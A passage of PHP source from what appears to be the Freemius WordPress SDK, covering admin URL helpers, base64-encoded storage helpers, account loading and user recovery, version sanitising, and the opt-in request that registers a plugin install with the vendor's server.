$network = true ) { return ( $this->_is_network_active && $network ) ? network_admin_url( $path, $scheme ) : admin_url( $path, $scheme ); } /** * Check if currently in a specified admin page. * * @author Vova Feldman (@svovaf) * @since 1.2.2.7 * * @param string $page * * @return bool */ function is_admin_page( $page ) { return ( $this->_menu->get_slug( $page ) === fs_request_get( 'page', '', 'get' ) ); } /** * Check if currently in the product's main admin page. * * @author Vova Feldman (@svovaf) * @since 2.3.1 * * @return bool */ function is_main_admin_page() { return $this->is_admin_page( '' ); } /** * Get module's main admin setting page URL. * * @author Vova Feldman (@svovaf) * @since 1.2.2.7 * * @return string */ function main_menu_url() { return $this->_menu->main_menu_url(); } /** * Check if currently on the theme's setting page or * on any of the Freemius added pages (via tabs). * * @author Vova Feldman (@svovaf) * @since 1.2.2.7 * * @return bool * * @deprecated Please use is_product_settings_page() instead; */ function is_theme_settings_page() { return $this->is_product_settings_page(); } /** * Check if currently on the product's main setting page or on any of the Freemius added pages (via tabs). * * @author Vova Feldman (@svovaf) * @since 1.2.2.7 * * @return bool */ function is_product_settings_page() { $page = fs_request_get( 'page', '', 'get' ); $menu_slug = $this->_menu->get_slug(); if ( $page === $menu_slug ) { return true; } return fs_starts_with( // e.g., {$menu_slug}-account, {$menu_slug}-affiliation, etc. $page, ( $menu_slug . '-' ) ); } /** * Plugin's account page + sync license URL. * * @author Vova Feldman (@svovaf) * @since 1.1.9.1 * * @param bool|number $plugin_id * @param bool $add_action_nonce * @param array $params * * @return string */ function _get_sync_license_url( $plugin_id = false, $add_action_nonce = true, $params = array() ) { if ( is_numeric( $plugin_id ) ) { $params['plugin_id'] = $plugin_id; } return $this->get_account_url( $this->get_unique_affix() . '_sync_license', $params, $add_action_nonce ); } /** * Plugin's account URL. * * @author Vova Feldman (@svovaf) * @since 1.0.4 * * @param bool|string $action * @param array $params * * @param bool $add_action_nonce * * @return string */ function get_account_url( $action = false, $params = array(), $add_action_nonce = true ) { if ( is_string( $action ) ) { $params['fs_action'] = $action; } self::require_pluggable_essentials(); return ( $add_action_nonce && is_string( $action ) ) ? fs_nonce_url( $this->_get_admin_page_url( 'account', $params ), $action ) : $this->_get_admin_page_url( 'account', $params ); } /** * @author Vova Feldman (@svovaf) * @since 1.2.0 * * @param string $tab * @param bool $action * @param array $params * @param bool $add_action_nonce * * @return string * * @uses get_account_url() */ function get_account_tab_url( $tab, $action = false, $params = array(), $add_action_nonce = true ) { $params['tab'] = $tab; return $this->get_account_url( $action, $params, $add_action_nonce ); } /** * Plugin's account URL. * * @author Vova Feldman (@svovaf) * @since 1.0.4 * * @param bool|string $topic * @param bool|string $message * @param bool|string $summary Since 2.5.1. * * @return string */ function contact_url( $topic = false, $message = false, $summary = false ) { $params = array(); if ( is_string( $topic ) ) { $params['topic'] = $topic; } if ( is_string( $message ) ) { $params['message'] = $message; } if ( is_string( $summary ) ) { $params['summary'] = $summary; } if ( $this->is_addon() ) { $params['addon_id'] = $this->get_id(); return $this->get_parent_instance()->_get_admin_page_url( 'contact', $params ); } else { return $this->_get_admin_page_url( 'contact', $params ); } } /** * Add-on direct info URL. * * @author Vova Feldman (@svovaf) * @since 1.1.0 * * @param string $slug * * @return string */ function addon_url( $slug ) { return $this->_get_admin_page_url( 'addons', array( 'slug' => $slug ) ); } /** * Add-ons URL. * * @author Vova Feldman (@svovaf) * @since 2.4.5 * * @return string */ function get_addons_url() { return $this->_get_admin_page_url( 'addons' ); } /* Logger ------------------------------------------------------------------------------------------------------------------*/ /** * @param string $id * @param bool $prefix_slug * * @return FS_Logger */ function get_logger( $id = '', $prefix_slug = true ) { return FS_Logger::get_logger( ( $prefix_slug ? $this->_slug : '' ) . ( ( ! $prefix_slug || empty( $id ) ) ? '' : '_' ) . $id ); } /** * Note: This method is used externally so don't delete it. * * @param $id * @param bool $load_options * @param bool $prefix_slug * * @return FS_Option_Manager */ function get_options_manager( $id, $load_options = false, $prefix_slug = true ) { return FS_Option_Manager::get_manager( ( $prefix_slug ? $this->_slug : '' ) . ( ( ! $prefix_slug || empty( $id ) ) ? '' : '_' ) . $id, $load_options ); } /* Security ------------------------------------------------------------------------------------------------------------------*/ private static function _encrypt( $str ) { if ( is_null( $str ) ) { return null; } /** * The encrypt/decrypt functions are used to protect * the user from messing up with some of the sensitive * data stored for the module as a JSON in the database. * * I used the same suggested hack by the theme review team. * For more details, look at the function `Base64UrlDecode()` * in `./sdk/FreemiusBase.php`. * * @todo Remove this hack once the base64 error is removed from the Theme Check. * * @author Vova Feldman (@svovaf) * @since 1.2.2 */ $fn = 'base64' . '_encode'; return $fn( $str ); } static function _decrypt( $str ) { if ( is_null( $str ) ) { return null; } /** * The encrypt/decrypt functions are used to protect * the user from messing up with some of the sensitive * data stored for the module as a JSON in the database. * * I used the same suggested hack by the theme review team. * For more details, look at the function `Base64UrlDecode()` * in `./sdk/FreemiusBase.php`. * * @todo Remove this hack once the base64 error is removed from the Theme Check. * * @author Vova Feldman (@svovaf) * @since 1.2.2 */ $fn = 'base64' . '_decode'; return $fn( $str ); } /** * @author Vova Feldman (@svovaf) * @since 1.0.5 * * @param FS_Entity $entity * * @return FS_Entity Return an encrypted clone entity. */ private static function _encrypt_entity( FS_Entity $entity ) { $clone = clone $entity; $props = get_object_vars( $entity ); foreach ( $props as $key => $val ) { $clone->{$key} = self::_encrypt( $val ); } return $clone; } /** * @author Vova Feldman (@svovaf) * @since 1.0.5 * * @param FS_Entity $entity * * @return FS_Entity Return an decrypted clone entity. */ private static function decrypt_entity( FS_Entity $entity ) { $clone = clone $entity; $props = get_object_vars( $entity ); foreach ( $props as $key => $val ) { $clone->{$key} = self::_decrypt( $val ); } return $clone; } /** * @author Vova Feldman (@svovaf) * @since 1.0.7 * * @param string $email * * @return FS_User|false */ public static function _get_user_by_email( $email ) { self::$_static_logger->entrance(); $email = trim( strtolower( $email ) ); $users = self::get_all_users(); if ( is_array( $users ) ) { foreach ( $users as $user ) { if ( $email === trim( strtolower( $user->email ) ) ) { return $user; } } } return false; } #---------------------------------------------------------------------------------- #region Account (Loading, Updates & Activation) #---------------------------------------------------------------------------------- /*** * Load account information (user + site). * * @author Vova Feldman (@svovaf) * @since 1.0.1 */ private function _load_account() { $this->_logger->entrance(); $this->do_action( 'before_account_load' ); $users = self::get_all_users(); $plans = self::get_all_plans( $this->_module_type ); if ( $this->_logger->is_on() && is_admin() ) { $this->_logger->log( 'users = ' . var_export( $users, true ) ); $this->_logger->log( 'plans = ' . var_export( $plans, true ) ); } $site = fs_is_network_admin() ? $this->get_network_install() : $this->get_install_by_blog_id(); if ( fs_is_network_admin() && $this->is_network_active() && ! is_object( $site ) && FS_Site::is_valid_id( $this->_storage->network_install_blog_id ) ) { $first_install = $this->find_first_install(); if ( is_null( $first_install ) ) { unset( $this->_storage->network_install_blog_id ); } else { $site = $first_install['install']; $this->_storage->network_install_blog_id = $first_install['blog_id']; } } if ( is_object( $site ) && is_numeric( $site->id ) && is_numeric( $site->user_id ) && FS_Plugin_Plan::is_valid_id( $site->plan_id ) ) { // Load site. $this->_site = $site; } $user = null; if ( fs_is_network_admin() && $this->_is_network_active ) { $user = $this->get_network_user(); } if ( is_object( $user ) ) { $this->_user = clone $user; } else if ( $this->_site ) { $user = self::_get_user_by_id( $this->_site->user_id ); if ( ! is_object( $user ) && FS_User::is_valid_id( $this->_storage->prev_user_id ) ) { /** * Try to load the previous owner. This recovery is used for the following use-case: * 1. Opt-in * 2. Cloning site1 to site2 * 3. Ownership switch in site1 (same applies for site2) * 4. Install data sync on site2 * 5. Now site2's install is associated with the new owner which does not exists locally. */ $user = self::_get_user_by_id( $this->_storage->prev_user_id ); } if ( ! is_object( $user ) ) { /** * This is a special fault tolerance mechanism to handle a scenario that the user data is missing. */ if ( ! isset( $this->_storage->user_recovery_from_install_last_attempt_timestamp ) || time() > ( $this->_storage->user_recovery_from_install_last_attempt_timestamp + FS_Clone_Manager::CLONE_RESOLUTION_MAX_EXECUTION_TIME ) ) { $user = $this->sync_user_by_current_install(); } else { return; } if ( is_object( $user ) ) { $this->_storage->user_was_recovered_from_install = true; } else { $this->_storage->user_recovery_from_install_attempts = isset( $this->_storage->user_recovery_from_install_attempts ) ? ( $this->_storage->user_recovery_from_install_attempts + 1 ) : 1; if ( $this->_storage->user_recovery_from_install_attempts >= 3 ) { $this->delete_current_install( false ); } else { $this->_storage->user_recovery_from_install_last_attempt_timestamp = time(); return; } } } $this->_user = ( $user instanceof FS_User ) ? clone $user : null; } if ( is_object( $this->_user ) ) { // Load licenses. $this->_licenses = $this->get_user_licenses( $this->_user->id ); } if ( is_object( $this->_site ) ) { // Load plans. $this->_plans = isset( $plans[ $this->_slug ] ) ? $plans[ $this->_slug ] : array(); if ( ! is_array( $this->_plans ) || empty( $this->_plans ) ) { $this->_sync_plans(); } else { for ( $i = 0, $len = count( $this->_plans ); $i < $len; $i ++ ) { if ( $this->_plans[ $i ] instanceof FS_Plugin_Plan ) { $this->_plans[ $i ] = self::decrypt_entity( $this->_plans[ $i ] ); } else { unset( $this->_plans[ $i ] ); } } } $this->_license = $this->_get_license_by_id( $this->_site->license_id ); if ( $this->_site->version != $this->get_plugin_version() ) { // If stored install version is different than current installed plugin version, // then update plugin version event. $this->update_plugin_version_event(); } } if ( true === $this->_storage->require_license_activation && ! fs_request_get_bool( 'require_license', true ) ) { $this->_storage->require_license_activation = false; } if ( $this->is_theme() ) { $this->_register_account_hooks(); } if ( $this->is_user_in_admin() && $this->is_clone() ) { if ( empty( FS_Clone_Manager::instance()->get_clone_identification_timestamp() ) ) { FS_Clone_Manager::instance()->store_clone_identification_timestamp(); } FS_Clone_Manager::instance()->maybe_update_clone_resolution_support_flag( $this->_storage->sdk_last_version ); $this->send_pending_clone_update_once(); } } /** * Special user recovery mechanism. * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param number|null $site_user_id * * @return \FS_User|mixed */ private function sync_user_by_current_install( $site_user_id = null ) { $site_user_id = FS_Site::is_valid_id( $site_user_id ) ? $site_user_id : $this->_site->user_id; $api = $this->get_api_site_scope(); $uid = $this->get_anonymous_id(); $request_path = "/users/{$site_user_id}.json?uid={$uid}"; $result = $api->get( $request_path, false, WP_FS__TIME_10_MIN_IN_SEC ); if ( $this->is_api_result_entity( $result ) ) { $user = new FS_User( $result ); $this->_user = $user; $this->_store_user(); return $user; } $error_code = FS_Api::get_error_code( $result ); if ( in_array( $error_code, array( 'invalid_unique_id', 'user_cannot_be_recovered' ) ) ) { /** * Those API errors will continue coming and are not recoverable with the * current site's data. Therefore, extend the API call's cached result to 7 days. */ $api->update_cache_expiration( $request_path, WP_FS__TIME_WEEK_IN_SEC ); } return $result; } /** * @author Vova Feldman (@svovaf) * @since 1.0.1 * * @param FS_User $user * @param FS_Site $site * @param bool|array $plans */ private function _set_account( FS_User $user, FS_Site $site, $plans = false ) { $site->user_id = $user->id; $this->_site = $site; $this->_user = $user; if ( false !== $plans ) { $this->_plans = $plans; } $this->send_install_update(); $this->_store_account(); } /** * Get a sanitized array with the WordPress version, SDK version, and PHP version. * Each version is trimmed after the 16th char. * * @author Vova Feldman (@svovaf) * @since 2.2.1 * * @return array */ private function get_versions() { $versions = array(); $versions['sdk_version'] = $this->version; // Collect these diagnostic information only if it's allowed. if ( FS_Permission_Manager::instance( $this )->is_diagnostic_tracking_allowed() ) { $versions['platform_version'] = get_bloginfo( 'version' ); $versions['programming_language_version'] = phpversion(); } foreach ( $versions as $k => $version ) { $versions[ $k ] = self::get_api_sanitized_property( $k, $version ); } return $versions; } /** * Get sanitized site language. * * @param string $language * @param int $max_len * * @since 2.5.1 * @author Vova Feldman (@svovaf) * * @return string */ private static function get_sanitized_language( $language = '', $max_len = self::LANGUAGE_MAX_CHARS ) { if ( empty( $language ) ) { $language = get_bloginfo( 'language' ); } return substr( $language, 0, $max_len ); } /** * Get core version stripped from pre-release and build. * * @since 2.5.1 * @author Vova Feldman (@svovaf) * * @param string $version * @param int $parts * @param int $max_len * @param bool $include_pre_release * * @return string */ private static function get_core_version( $version, $parts = 3, $max_len = self::VERSION_MAX_CHARS, $include_pre_release = false ) { if ( empty( $version ) ) { // Version is empty. return ''; } if ( is_numeric( $version ) ) { $is_float_version = is_float( $version ); $version = (string) $version; /** * Casting a whole float number to a string cuts the decimal point. This part make sure to add the missing decimal part to the version. */ if ( $is_float_version && false === strpos( $version, '.' ) ) { $version .= '.0'; } } if ( ! is_string( $version ) ) { return ''; } if ( $parts < 1 ) { return ''; } $pre_release_regex = $include_pre_release ? '(\-(alpha|beta|RC)([0-9]+)?)?' : ''; if ( 0 === preg_match( '/^([0-9]+(\.[0-9]+){0,' . ( $parts - 1 ) . '}' . $pre_release_regex . ')/i', $version, $matches ) ) { // Version is not starting with a digit. return ''; } return substr( $matches[1], 0, $max_len ); } /** * @param string $prop * @param mixed $val * * @return mixed *@author Vova Feldman (@svovaf) * * @since 2.5.1 */ private static function get_api_sanitized_property( $prop, $val ) { if ( ! is_string( $val ) || empty( $val ) ) { return $val; } switch ( $prop ) { case 'programming_language_version': // Get core PHP version, which can have up to 3 parts (ignore pre-releases). return self::get_core_version( $val ); case 'platform_version': // Get the exact WordPress version, which can have up to 3 parts (including pre-releases). return self::get_core_version( $val, 3, self::VERSION_MAX_CHARS, true ); case 'sdk_version': // Get the exact SDK version, which can have up to 4 parts. return self::get_core_version( $val, 4 ); case 'version': // Get the entire version but just limited in length. return substr( $val, 0, self::VERSION_MAX_CHARS ); case 'language': return self::get_sanitized_language( $val ); default: return $val; } } /** * @author Leo Fajardo (@leorw) * @since 2.3.0 * * @return bool */ function has_beta_update() { return ( ! empty( $this->_storage->beta_data ) && ( true === $this->_storage->beta_data['is_beta'] ) && version_compare( $this->_storage->beta_data['version'], $this->get_plugin_version(), '>' ) ); } /** * @author Leo Fajardo (@leorw) * @since 2.3.0 * * @return bool */ function is_beta() { return ( ! empty( $this->_storage->beta_data ) && ( true === $this->_storage->beta_data['is_beta'] ) && ( $this->get_plugin_version() === $this->_storage->beta_data['version'] ) ); } /** * @author Vova Feldman (@svovaf) * @since 1.1.7.4 * * @param array $override_with * @param bool|int|null $network_level_or_blog_id If true, return params for network level opt-in. If integer, get params for specified blog in the network. * * @return array */ function get_opt_in_params( $override_with = array(), $network_level_or_blog_id = null ) { $this->_logger->entrance(); $current_user = self::_get_current_wp_user(); $activation_action = $this->get_unique_affix() . '_activate_new'; $return_url = $this->is_anonymous() ? // If skipped already, then return to the account page. $this->get_account_url( $activation_action, array(), false ) : // Return to the module's main page. $this->get_after_activation_url( 'after_connect_url', array( 'fs_action' => $activation_action ) ); $versions = $this->get_versions(); $params = array_merge( $versions, array( 'user_firstname' => $current_user->user_firstname, 'user_lastname' => $current_user->user_lastname, 'user_email' => $current_user->user_email, 'plugin_slug' => $this->_slug, 'plugin_id' => $this->get_id(), 'plugin_public_key' => $this->get_public_key(), 'plugin_version' => $this->get_plugin_version(), 'return_url' => fs_nonce_url( $return_url, $activation_action ), 'account_url' => fs_nonce_url( $this->_get_admin_page_url( 'account', array( 'fs_action' => 'sync_user' ) ), 'sync_user' ), 'is_premium' => $this->is_premium(), 'is_active' => true, 'is_uninstalled' => false, 'is_localhost' => WP_FS__IS_LOCALHOST, ) ); if ( $this->is_addon() ) { $parent_fs = $this->get_parent_instance(); $params['parent_plugin_slug'] = $parent_fs->_slug; $params['parent_plugin_id'] = $parent_fs->get_id(); } if ( true === $network_level_or_blog_id ) { if ( ! isset( $override_with['sites'] ) ) { $params['sites'] = $this->get_sites_for_network_level_optin(); } } else { $site = is_numeric( $network_level_or_blog_id ) ? array( 'blog_id' => $network_level_or_blog_id ) : null; $site = $this->get_site_info( $site ); $diagnostic_info = array(); if ( FS_Permission_Manager::instance( $this )->is_diagnostic_tracking_allowed() ) { $diagnostic_info = array( 'site_name' => $site['title'], 'language' => self::get_sanitized_language( $site['language'] ), ); } $params = array_merge( $params, $diagnostic_info, array( 'site_uid' => $site['uid'], 'site_url' => $site['url'], ) ); } if ( $this->is_pending_activation() && ! empty( $this->_storage->pending_license_key ) ) { $params['license_key'] = $this->_storage->pending_license_key; } if ( WP_FS__SKIP_EMAIL_ACTIVATION && $this->has_secret_key() ) { // Even though rand() is known for its security issues, // the timestamp adds another layer of protection. // It would be very hard for an attacker to get the secret key form here. // Plus, this should never run in production since the secret should never // be included in the production version. $params['ts'] = WP_FS__SCRIPT_START_TIME; $params['salt'] = md5( uniqid( rand() ) ); $params['secure'] = md5( $params['ts'] . $params['salt'] . $this->get_secret_key() ); } if ( is_multisite() && function_exists( 'get_network' ) ) { $params['network_uid'] = $this->get_anonymous_network_id(); } return array_merge( $params, $override_with ); } /** * 1. If successful opt-in or pending activation returns the next page that the user should be redirected to. * 2. If there was an API error, return the API result. * * @author Vova Feldman (@svovaf) * @since 1.1.7.4 * * @param string|bool $email * @param string|bool $first * @param string|bool $last * @param string|bool $license_key * @param bool $is_uninstall If "true", this means that the module is currently being uninstalled. * In this case, the user and site info will be sent to the server but no * data will be saved to the WP installation's database. * @param number|bool $trial_plan_id * @param bool $is_disconnected Whether to opt in without tracking. * @param null|bool $is_marketing_allowed * @param array $sites If network-level opt-in, an array of containing details of sites. * @param bool $redirect * * @return string|object * @use WP_Error */ function opt_in( $email = false, $first = false, $last = false, $license_key = false, $is_uninstall = false, $trial_plan_id = false, $is_disconnected = false, $is_marketing_allowed = null, $sites = array(), $redirect = true ) { $this->_logger->entrance(); if ( false === $email ) { $current_user = self::_get_current_wp_user(); $email = $current_user->user_email; } /** * @since 1.2.1 If activating with license key, ignore the context-user * since the user will be automatically loaded from the license. */ if ( empty( $license_key ) ) { // Clean up pending license if opt-ing in again. $this->_storage->remove( 'pending_license_key' ); if ( ! $is_uninstall ) { $fs_user = Freemius::_get_user_by_email( $email ); if ( is_object( $fs_user ) && ! $this->is_pending_activation() ) { return $this->install_with_user( $fs_user, false, $trial_plan_id, $redirect, true, $sites ); } } } $user_info = array(); if ( ! empty( $email ) ) { $user_info['user_email'] = $email; } if ( ! empty( $first ) ) { $user_info['user_firstname'] = $first; } if ( ! empty( $last ) ) { $user_info['user_lastname'] = $last; } if ( ! empty( $sites ) ) { $is_network = true; $user_info['sites'] = $sites; } else { $is_network = false; } $params = $this->get_opt_in_params( $user_info, $is_network ); $filtered_license_key = false; if ( is_string( $license_key ) ) { $filtered_license_key = $this->apply_filters( 'license_key', $license_key ); $params['license_key'] = $filtered_license_key; } else if ( FS_Plugin_Plan::is_valid_id( $trial_plan_id ) ) { $params['trial_plan_id'] = $trial_plan_id; } if ( $is_uninstall ) { $params['uninstall_params'] = array( 'reason_id' => $this->_storage->uninstall_reason->id, 'reason_info' => $this->_storage->uninstall_reason->info ); } if ( isset( $params['license_key'] ) ) { $fs_user = Freemius::_get_user_by_email( $email ); if ( is_object( $fs_user ) ) { /** * If opting in with a context license and the context WP Admin user already opted in * before from the current site, add the user context security params to avoid the * unnecessary email activation when the context license is owned by the same context user. * * @author Leo Fajardo (@leorw) * @since 1.2.3 */ $params = array_merge( $params, FS_Security::instance()->get_context_params( $fs_user, false, 'install_with_existing_user' ) ); } } if ( is_bool( $is_marketing_allowed ) ) { $params['is_marketing_allowed'] = $is_marketing_allowed; } $params['is_disconnected'] = $is_disconnected; $params['format'] = 'json'; $params['is_extensions_tracking_allowed'] = FS_Permission_Manager::instance( $this )->is_extensions_tracking_allowed(); $params['is_diagnostic_tracking_allowed'] = FS_Permission_Manager::instance( $this )->is_diagnostic_tracking_allowed(); $request = array( 'method' => 'POST', 'body' => $params, 'timeout' => 60, ); $url = $this->add_show_pending( WP_FS__ADDRESS . '/action/service/user/install/' ); $response = self::safe_remote_post( $url, $request ); if ( is_wp_error( $response ) ) { /** * @var WP_Error $response */ $result = new stdClass(); $error_code = $response->get_error_code(); $error_type = str_replace( ' ', '', ucwords( str_replace( '_', ' ', $error_code ) ) ); $result->error = (object) array( 'type' => $error_type, 'message' => $response->get_error_message(), 'code' => $error_code, 'http' => 402 ); $this->maybe_modify_api_curl_error_message( $result ); if ( FS_Api::is_blocked( $result ) ) { $result->error->message = $this->generate_api_blocked_notice_message_from_result( $result ); } $is_connected = null; if ( empty( $license_key ) && $this->is_enable_anonymous() ) { $this->skip_connection( fs_is_network_admin() ); $is_connected = ( ! FS_Api::is_blocked( $result ) ); } $this->update_connectivity_info( $is_connected ); return $result; } $this->update_connectivity_info( true ); // Module is being uninstalled, don't handle the returned data. if ( $is_uninstall ) { return true; } /** * When json_decode() executed on PHP 5.2 with an invalid JSON, it will throw a PHP warning. Unfortunately, the new Theme Check doesn't allow PHP silencing and the theme review team isn't open to change that, therefore, instead of using `@json_decode()` we had to use the method without the `@` directive. * * @author Vova Feldman (@svovaf) * @since 1.2.3 * @link https://themes.trac.wordpress.org/ticket/46134#comment:5 * @link https://themes.trac.wordpress.org/ticket/46134#comment:9 * @link https://themes.trac.wordpress.org/ticket/46134#comment:12 * @link https://themes.trac.wordpress.org/ticket/46134#comment:14 */ $decoded = is_string( $response['body'] ) ? json_decode( $response['body'] ) : null; if ( empty( $decoded ) ) { return false; } if ( ! $this->is_api_result_object( $decoded ) ) { if ( ! empty( $params['license_key'] ) ) { // Pass the fully entered license key to the failure handler. $params['license_key'] = $license_key; } return $is_uninstall ? $decoded : $this->apply_filters( 'after_install_failure', $decoded, $params ); } else if ( isset( $decoded->pending_activation ) && $decoded->pending_activation ) { if ( $is_network ) { $site_ids = array(); foreach ( $sites as $site ) { $site_ids[] = $site['blog_id']; } /** * Store the sites so that they can be installed once the user has clicked on the activation link * in the email. * * @author Leo Fajardo (@leorw) */ $this->_storage->pending_sites_info = array( 'blog_ids' => $site_ids, 'license_key' => $license_key, 'trial_plan_id' => $trial_plan_id ); } // Pending activation, add message. return $this->set_pending_confirmation( ( isset( $decoded->email ) ? $decoded->email : true ), false, $filtered_license_key, ! empty( $params['trial_plan_id'] ), isset( $decoded->is_suspicious_email ) && $decoded->is_suspicious_email ); } else if ( isset( $decoded->install_secret_key ) ) { return $this->install_with_new_user( $decoded->user_id, $decoded->user_public_key, $decoded->user_secret_key, ( isset( $decoded->is_marketing_allowed ) && ! is_null( $decoded->is_marketing_allowed ) ? $decoded->is_marketing_allowed : null ), ( isset( $decoded->is_extensions_tracking_allowed ) && ! is_null( $decoded->is_extensions_tracking_allowed ) ? $decoded->is_extensions_tracking_allowed : null ), ( isset( $decoded->is_diagnostic_tracking_allowed ) && ! is_null( $decoded->is_diagnostic_tracking_allowed ) ? $decoded->is_diagnostic_tracking_allowed : null ), $decoded->install_id, $decoded->install_public_key, $decoded->install_secret_key, false ); } else if ( is_array( $decoded->installs ) ) { return $this->install_many_with_new_user( $decoded->user_id, $decoded->user_public_key, $decoded->user_secret_key, ( isset( $decoded->is_marketing_allowed ) && ! is_null( $decoded->is_marketing_allowed ) ? $decoded->is_marketing_allowed : null ), ( isset( $decoded->is_extensions_tracking_allowed ) && ! is_null( $decoded->is_extensions_tracking_allowed ) ? $decoded->is_extensions_tracking_allowed : null ), ( isset( $decoded->is_diagnostic_tracking_allowed ) && ! is_null( $decoded->is_diagnostic_tracking_allowed ) ? $decoded->is_diagnostic_tracking_allowed : null ), $decoded->installs, false ); } return $decoded; } /** * Set user and site identities. * * @author Vova Feldman (@svovaf) * @since 1.0.9 * * @param FS_User $user * @param FS_Site $site * @param bool $redirect * @param bool $auto_install Since 1.2.1.7 If `true` and setting up an account with a valid license, will * redirect (or return a URL) to the account page with a special parameter to * trigger the auto installation processes. * * @return string If redirect is `false`, returns the next page the user should be redirected to. */ function setup_account( FS_User $user, FS_Site $site, $redirect = true, $auto_install = false ) { return $this->setup_network_account( $user, array( $site ), $redirect, $auto_install, false ); } /** * Set user and site identities. * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param FS_User $user * @param FS_Site[] $installs * @param bool $redirect * @param bool $auto_install Since 1.2.1.7 If `true` and setting up an account with a valid license, will redirect (or return a URL) to the account page with a special parameter to trigger the auto installation processes. * @param bool $is_network_level_opt_in * * @return string If redirect is `false`, returns the next page the user should be redirected to. */ function setup_network_account( FS_User $user, array $installs, $redirect = true, $auto_install = false, $is_network_level_opt_in = true ) { $first_install = $installs[0]; $this->_user = $user; $this->_site = $first_install; $this->_sync_plans(); if ( $this->_storage->handle_gdpr_admin_notice && $this->should_handle_gdpr_admin_notice() && FS_GDPR_Manager::instance()->should_show_opt_in_notice() ) { /** * Clear user lock after an opt-in. */ require_once WP_FS__DIR_INCLUDES . '/class-fs-user-lock.php'; FS_User_Lock::instance()->unlock(); } if ( 1 < count( $installs ) ) { // Only network level opt-in can have more than one install. $is_network_level_opt_in = true; } $this->update_connectivity_info( true ); // $is_network_level_opt_in = self::is_ajax_action_static( 'network_activate', $this->_module_id ); // If Freemius was OFF before, turn it on. $this->turn_on(); $this->handle_account_connection( $installs, ( ! $this->_is_network_active || ! $is_network_level_opt_in ) ); if ( is_numeric( $first_install->license_id ) ) { $this->set_license( $this->_get_license_by_id( $first_install->license_id ) ); } $this->_admin_notices->remove_sticky( 'connect_account' ); if ( $this->is_pending_activation() || ! $this->has_settings_menu() ) { $this->clear_pending_activation_mode(); if ( ! $this->is_paying_or_trial() ) { $this->_admin_notices->add_sticky( sprintf( $this->get_text_inline( '%s opt-in was successfully completed.', 'plugin-x-activation-message' ), '' . $this->get_plugin_name() . '' ), 'activation_complete' ); } } if ( $this->is_paying_or_trial() ) { if ( ! $this->is_premium() || ! $this->has_premium_version() || ! $this->has_settings_menu() ) { if ( $this->is_paying() ) { $this->add_complete_upgrade_instructions_notice( sprintf( $this->get_text_inline( 'Your account was successfully activated with the %s plan.', 'activation-with-plan-x-message' ), $this->get_plan_title() ), 'plan_upgraded' ); } else { $trial_plan = $this->get_trial_plan(); $this->add_complete_upgrade_instructions_notice( sprintf( $this->get_text_inline( 'Your trial has been successfully started.', 'trial-started-message' ), '' . $this->get_plugin_name() . '' ), 'trial_started', $trial_plan->title ); } } $this->_admin_notices->remove_sticky( array( 'trial_promotion', ) ); } $plugin_id = fs_request_get( 'plugin_id', false ); // Store activation time ONLY for plugins & themes (not add-ons). if ( ! is_numeric( $plugin_id ) || ( $plugin_id == $this->_plugin->id ) ) { if ( empty( $this->_storage->activation_timestamp ) ) { $this->_storage->activation_timestamp = WP_FS__SCRIPT_START_TIME; } } $next_page = ''; $extra = array(); if ( $auto_install ) { $extra['auto_install'] = 'true'; } if ( is_numeric( $plugin_id ) ) { /** * @author Leo Fajardo (@leorw) * @since 1.2.1.6 * * Also sync the license after an anonymous user subscribes. */ if ( $this->is_anonymous() || $plugin_id != $this->_plugin->id ) { // Add-on was installed - sync license right after install. $next_page = $this->_get_sync_license_url( $plugin_id, true, $extra ); } } else { /** * @author Vova Feldman (@svovaf) * @since 1.1.9 If site installed with a valid license, sync license. */ if ( $this->is_paying() ) { $this->_sync_plugin_license( true, // Installs data is already synced in the beginning of this method directly or via _set_account(). false ); } // Reload the page with the keys. $next_page = $this->is_anonymous() ? // If user previously skipped, redirect to account page. $this->get_account_url( false, $extra ) : $this->get_after_activation_url( 'after_connect_url', array(), $is_network_level_opt_in ); } if ( ! empty( $next_page ) && $redirect ) { fs_redirect( $next_page ); } return $next_page; } /** * Install plugin with new user information after approval. * * @author Vova Feldman (@svovaf) * @since 1.0.7 */ function _install_with_new_user() { $this->_logger->entrance(); if ( $this->is_registered() ) { return; } $has_pending_activation_confirmation_param = fs_request_has( 'pending_activation' ); $this->update_license_required_permissions_if_anonymous(); if ( ( $this->is_plugin() && fs_request_is_action( $this->get_unique_affix() . '_activate_new' ) ) || // @todo This logic should be improved because it's executed on every load of a theme. $this->is_theme() ) { // check_admin_referer( $this->_slug . '_activate_new' ); if ( fs_request_has( 'user_secret_key' ) ) { if ( fs_is_network_admin() && isset( $this->_storage->pending_sites_info ) ) { $pending_sites_info = $this->_storage->pending_sites_info; $this->install_many_pending_with_user( fs_request_get( 'user_id' ), fs_request_get_raw( 'user_public_key' ), fs_request_get_raw( 'user_secret_key' ), fs_request_get_bool( 'is_marketing_allowed', null ), fs_request_get_bool( 'is_extensions_tracking_allowed', null ), fs_request_get_bool( 'is_diagnostic_tracking_allowed', null ), $pending_sites_info['blog_ids'], $pending_sites_info['license_key'], $pending_sites_info['trial_plan_id'] ); } else { $this->install_with_new_user( fs_request_get( 'user_id' ), fs_request_get_raw( 'user_public_key' ), fs_request_get_raw( 'user_secret_key' ), fs_request_get_bool( 'is_marketing_allowed', null ), fs_request_get_bool( 'is_extensions_tracking_allowed', null ), fs_request_get_bool( 'is_diagnostic_tracking_allowed', null ), fs_request_get( 'install_id' ), fs_request_get_raw( 'install_public_key' ), fs_request_get_raw( 'install_secret_key' ), true, fs_request_get_bool( 'auto_install' ) ); } } else if ( $has_pending_activation_confirmation_param ) { $this->set_pending_confirmation( fs_request_get( 'user_email' ), true, false, false, fs_request_get_bool( 'is_suspicious_email' ), fs_request_get_bool( 'has_upgrade_context' ), fs_request_get( 'support_email_address' ) ); } } } /** * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param number $id * @param string $public_key * @param string $secret_key * * @return \FS_User */ private function setup_user( $id, $public_key, $secret_key ) { $user = self::_get_user_by_id( $id ); if ( is_object( $user ) ) { $this->_user = $user; } else { $user = new FS_User(); $user->id = $id; $user->public_key = $public_key; $user->secret_key = $secret_key; $this->_user = $user; $user_result = $this->get_api_user_scope()->get(); $user = new FS_User( $user_result ); $this->_user = $user; $this->_store_user(); } return $user; } /** * Install plugin with new user. * * @author Vova Feldman (@svovaf) * @since 1.1.7.4 * * @param number $user_id * @param string $user_public_key * @param string $user_secret_key * @param bool|null $is_marketing_allowed * @param bool|null $is_extensions_tracking_allowed Since 2.3.2 * @param bool|null $is_diagnostic_tracking_allowed Since 